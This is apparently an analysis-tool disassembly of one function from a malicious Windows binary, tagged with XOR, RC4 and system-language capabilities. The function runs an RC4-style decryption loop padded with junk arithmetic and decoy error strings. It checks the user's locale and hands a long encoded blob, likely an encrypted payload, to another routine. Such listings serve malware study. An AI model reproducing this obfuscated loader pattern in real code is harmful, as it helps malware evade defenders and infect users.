Function at 0x407848
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Identify system language via api

Disassembly:
push ebp
mov ecx, 4
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x15c]
mov esi, 0x42bea6
push ebx
sub esp, 0x17c
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0x13c]
mov esi, str.AslEnvGetProcessWowInfo_failed___x_
mov ecx, 9
rep movsd dword es:[edi], dword [esi]
mov dword [esp], str.The_installed_set_of_policies_on_the_log_is_invalid.
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
xor eax, eax
mov byte [eax + ebp - 0x118], al
inc eax
cmp eax, 0x100
jne 0x407888
xor esi, esi
xor ebx, ebx
mov ecx, 0x23
mov eax, ebx
xor edx, edx
movzx edi, byte [ebp + ebx - 0x118]
div ecx
add dword [0x42900c], 0x777b206a
mov eax, edi
add al, byte [ebp + edx - 0x13c]
add eax, esi
movzx esi, al
xor eax, eax
cmp byte [eax + str.There_are_no_more_members.], 0
je 0x4078e8
inc eax
cmp eax, 0x1df2
jne 0x4078c8
call fcn.00414d98
add dword [0x42900c], 0x70ad98b2
imul eax, dword [0x42900c], 0x441ac5a9
mov dword [0x42900c], eax
or eax, 0x90adb792
mov dword [0x428f70], eax
call fcn.00414d98
mov eax, dword [0x42900c]
or eax, 0x6413429
mov dword [0x428f70], eax
mov al, byte [ebp + esi - 0x118]
mov byte [ebp + ebx - 0x118], al
mov eax, edi
inc ebx
mov byte [ebp + esi - 0x118], al
cmp ebx, 0x100
jne 0x40789b
xor edx, edx
xor edi, edi
xor esi, esi
lea eax, [esi + 1]
mov dword [ebp - 0x16c], edx
movzx esi, al
mov bl, byte [ebp + esi - 0x118]
lea eax, [ebx + edi]
movzx edi, al
mov al, byte [ebp + edi - 0x118]
mov byte [ebp + esi - 0x118], al
mov dword [esp + 4], str.The_requested_operation_requires_elevation.
mov dword [esp], 0x42bdba
call fcn.004123f4
mov eax, dword [0x42900c]
or dword [0x428f70], 0x301f1687
or eax, 0xb11b94ef
xor eax, 0xd7d9efc6
mov dword [0x42900c], eax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov dword [esp + 4], str.The_user_accounts_password_has_expired.
mov dword [esp], str.Debugger_terminated_thread.
call fcn.004123f4
mov edx, dword [ebp - 0x16c]
mov byte [ebp + edi - 0x118], bl
add bl, byte [ebp + esi - 0x118]
movzx ebx, bl
mov al, byte [ebp + ebx - 0x118]
xor al, byte [ebp + edx - 0x15c]
mov byte [ebp + edx - 0x14c], al
inc edx
cmp edx, 0x10
jne 0x40793f
mov byte [ebp - 0x13c], 0
mov edx, str.undeleted_critical_section_in_freed_memory
mov al, byte [edx]
test al, al
je 0x407a10
sub eax, 0x30
cmp al, 9
jbe 0x407a0d
add dword [0x42900c], 0x2a429f85
jmp 0x407a10
inc edx
jmp 0x4079f4
imul eax, dword [0x428f70], 0x2423c190
mov dword [0x428f70], eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
call fcn.0041472c
lea ecx, [ebp - 0x14c]
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], ecx
mov dword [esp + 4], 0x1168
mov dword [esp], str.sbsaeJGq53WtWgqOFuDhCNeDFb2L_MV2MrbL2J_7Ki79TlLrKiibbFuq34gNvxqtr01w3g_8AZRODu7reWV1gc9faFyXvM93QhQV44i14w_kSE7EAk4kkW9ZXopWmzTZtWLwDEgaAmXk3mxRvAJGCaKjmPtqHama8_8fDVYyhC0EUmJJcOvAcZxc5AHERExE6tb2qNjPfZvKDov21avCEFEhO7Z0zA6uIwWbWzzyfS9DT6oACYPf1j5c2MP5pwaMomrluGWnbH8n_SLeNmnsMoxJw9Zn_QO3CcCqkEkBMHqYPLa4hN2RlLoZWBODAF5AVPkNkNOqFXIf5INbknhlDdwfu0sibgXf63Re2rhRQWM232Md4ifkfyUrrcd2FP1Th6VAShSeLvy14P790NCa6hl618f4bA6T4iKxU91BZwCYWbugIjasNo_vYf8LjUx0JHL2nCblnlfggMJ5pYozalvJyq8_ByFNHnsQKGtv9GCnzZz0ypRn1u_PXJgBbf4yvNrkq6iraIgewaBsI8mAbX69nDSXyH5A5pUNKU5hklCZLBzWpMG7cloHXmahxZnuBrMiLKNnNBxcvA2xmOwN53IVZKKqUGU9Ymj4lWxvSvZViKlrjPPfgQpk23RRnZxPBIwVRZ_u5_bnozOcNPZqNT8CYnSNw6CxMAGmxqicCtLm8BWYRUS4IDY_T2J71E7W1Ahrx_anIMJJsL3O4sMaYqlI2zv0vHGdiAnwwXvKL8FNf1C6iYeCPhKZX9fY0xs0E1GKJ_WHrSblHh_7vsZ5l5kxMLkHETHTU_WSLaWLbOl9cQO1WHqV3AzadLlusOVoVYM3wkP5BlNsJYWANFxQ3IuliUAob4bm0f5l9RJ1sypLKhCyirVObYvptnz_bVgUgervHrJ9QK3cIiSJcbwUk6l1tFSTgJ6_FfJDzSKYgc8W5pCUWZLmKPQC7eK46ZDr2bkcQtsegaf73YvhoI4zhF1LhKaDJWvtXbwlwk8KLrDA_Qurq1gh949Xfwk8z0oxKYEovZsOuR1AKqSHVstfhPKcIrGsnc1nkSOu5nMeYPC0byJCXyMRs8jZmRxxlMqkQU3rRBCJGIkExWB4gIevyvNAY_wgHFxgkipse5owNSB0Ki7z6xzfFuyq450xXX5VLKaQkFtoKPrGwPJrgwrriy8nluxtyKziCG3m3LOcdGhQPwEjFyHebrsNA9iKWcVvmL6NEF6uamFTBHwxJaetT_CA00RjOQoagJomin7NEVRJw3DTt1uq5rReQL5R85W8H2Goqwx93ODqvD3HiLcLp8MCsnPYXZrBgivHV2PXcPysVKe05I3ERdvh7yhwFRwL5XB48BEjz6S7OQwfVYm5RavIwGHpL3BMqHZlb5cG5jH0ck6iXIsoYckgRkxlZMwuo8qr9QQztB0TV0YOLVND2dNGQO3rpk6I0tWJwyPRzczVr9yBjJMAhAt4cTIWrQQMtfeJI4DF1127e4xo2vnOomGxsmZYfGWKQWYnQBt0h9fMHXv6uEWQIyz5Dki0_JkYhORS3yn3lElhndd0PLNJAdc0BzRpRPJztwKD1Zsy77guoZeo0sbT2RC1XFOV_3Lb3XnbMkr3tbUdl1t0vSx_mLzGlSzyFuN77mjdiMqweeMJrQUK3CMx8st8pOwmR2T_1m5knSfPLrZNJusy0jKvtQhDQtFBGXxjgJEaf3sFVe_lhKvwKT90SmbmlXsrfjzJRjqnhY9I0aCvLs48wMgAWgsuInspfuWlTW01Dg3kZe9EVMMTMHAe3qvmLeECjqKqNxTtHiiZy1nZnOEFPRLM9wnDlpnnGgekB0aeepdsBgd9DpLGWeXxCjkVwiUwRcah0KPuRptMRFvdEI9P2d4jWE8UPOTi_yCOjdxbrxZmfYkP8BZ0o6CCeWuQadI8KyzuZMvSGf8kxJo5vcVpPyPHJ40e7zR5PZEm470peYGV18QlyoU3zDVpnrt59fAeZdIXhLa2OZuCITzzoqGnpxpmdnuGRsAMqXCSdzzVfHLlkN7KxoQgHbl_5r6qs_LD5kDPgmil5ugaFojNKOO_HZHghX5J4xVxy7_iORrU22mkRH2a3m_lnsKKhdNlCspzucQ41pMzojxazqHe8Umzm6K8k_mOtM18BYQGeAkIT02TUWf93e2xc168Ly8bUy4T0zsNJzMXsuHTqFzmtTh3rK_Yu0P96l2gwx5Mfsyq_ct1mvOs099kmxyUipd38Bg5NPs3dZq2gMi2kdyJKAdWhYnKHwKXwrnIRUQ0cPWGAQEKZCOkxfaQMTDtuaax_Gf7uOgWnWKkQLAZ7qe9Kzh01XQ8lZjTNESRJ6YpmVUwArD0ocaL_LiSb8R7dpFBxsbzbyjp0BlS2zTSyIWyjSc_tkJ1Z6wYMZmsZIhUEvHSx5lMHup8qZba8d6xeWKUSzg5IT3Scbm35Erq4lOrb69eejni6bseELBQsGIUGeWQItYyPYAHb09a6VczZKz2UQSr0CD6uH2u6CFWeXm0YaPxTc2QIpL7FA8y_LHiBuPChVMVnrRUQEAY_k5yuuoE3ySHBpli9SHADiQcUr8qo1ttSGG0Rq7ZneGuTdqB6TiEsKWjBtAquWMBvO5MUFc0TbviWFuSjIYZCsDryBuhV_sge7ArIJ3maBJV8EbAcOhBdshLyhmIgvI49cYY8jZB38rYyWztQvk0DFMRp9OHhFtDa7CplX0Q2ryaVAi1fbrsPMKHPXyJvUxtTvnZu5luJDXYSyVAx9INwuTMeZiaCT5pA8BGa6c0F1lcYtdNOs4AT0o18pcK4j15ZSaO096DotAw_Hj0rXX3SiKftjhjBFMwGfSOW3YnxImcI3v5vjEWSd5vkaSYz2HpMFPOZsZuvPOUzpR6z0UHbi0D9RaSQYTRZdtoyW_bwXJviG86Wva9RyFUREf3eFdM8RhhXkiTcLKkcHedy9wq7wLE6XfLh9A31SFUlfPsCgtrV7WQ8ANr19mcpnmsFIz0_T423pOsS2t3cuvrdnwOeoTBLv2ldGKhoFMt_kTFqqsnAF8D0Ad58YpVIjnLokXXxjZIWUpgzD04lCGwYfMYswjWG9dOr4NcGR2imXissQK1fF1EKAtxl8k9_b7TBQ5To_E5rdIWtiwH7rmlHG0IpQGfwFVr2uz87el1dLrwHRu9mw8jsc8Qc3sy9kE7EMqXchjdYtnHhJWBH0ztpEqy3plT6Cqx0cn2NnppLH1uLqZfFRqSc7AGrt7anUr7mVyFObQNFm0EHmUauT_VmugB7w0mWEKHNKrmEEDrh7h8GqAUG77HePLQHtnYh1_7J875fQhSHsHXZC8IZPWdeKae_axDyvHn2hvf_jytRNSX_ffFXT2YmXHyxrdV3TLA_PxdMF6QGYQtwDItdHy44NnngNiNYAAwJCGqwshAv6VE_EK0QxUnxG4Pp3gV2iLc1sPl0vT1kjWiu23c41xMLYQtOrbLuikEJ5FcnfwxBDXrFkqa5ei2Q74HLMaS9dfGQqzMViWP93s9VVxuWDij0Jw1E3YnDum6vbhZ0cptOwmBMXoVIpCMunYQ1QiUCP_MbBJPy0LpE4JrfUtLblk72SzErxVwuTmjX5sO0Rsa8rYBdkgtk_a5spMMze7yu96nD74rAAuX5SKj710OF5PVwXlAmSCp3Z67SinY1e9fCCkYvBQLcdOCRk1_gjovH2tFNmpljqdzl4Tp0XtVOmHVnl_vn7lomMXaD0O8azr3tUTOCa2FmO0ymQXuqKqzxL_sV0bhJbNM1K_jFXyVQS_TtS6Zi2bc0ycWTtZ0bC41y6Crf2S8ZfhntwWto4Mv0fsLZ_1zEeUhnw0ZhhF_WN6rx1iyOgO7JUKRK8Dynb3IgEl4WvukLaJEUFNaT8XbV4yOwT8G1YjZUeHA1eUAV7R3wcy8d3R5gJ2ddKY_cDiTs0XYremnChscqQK9nxTsJ9wQq1SjP05axL3kn6PWTX1WW4_i4sKTTyZnOIDv9YqLFmHa3YdnsTXxYaTVGdlhK2rgabuWGuunfREK1NptHs5kt
call fcn.0040b3c4
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret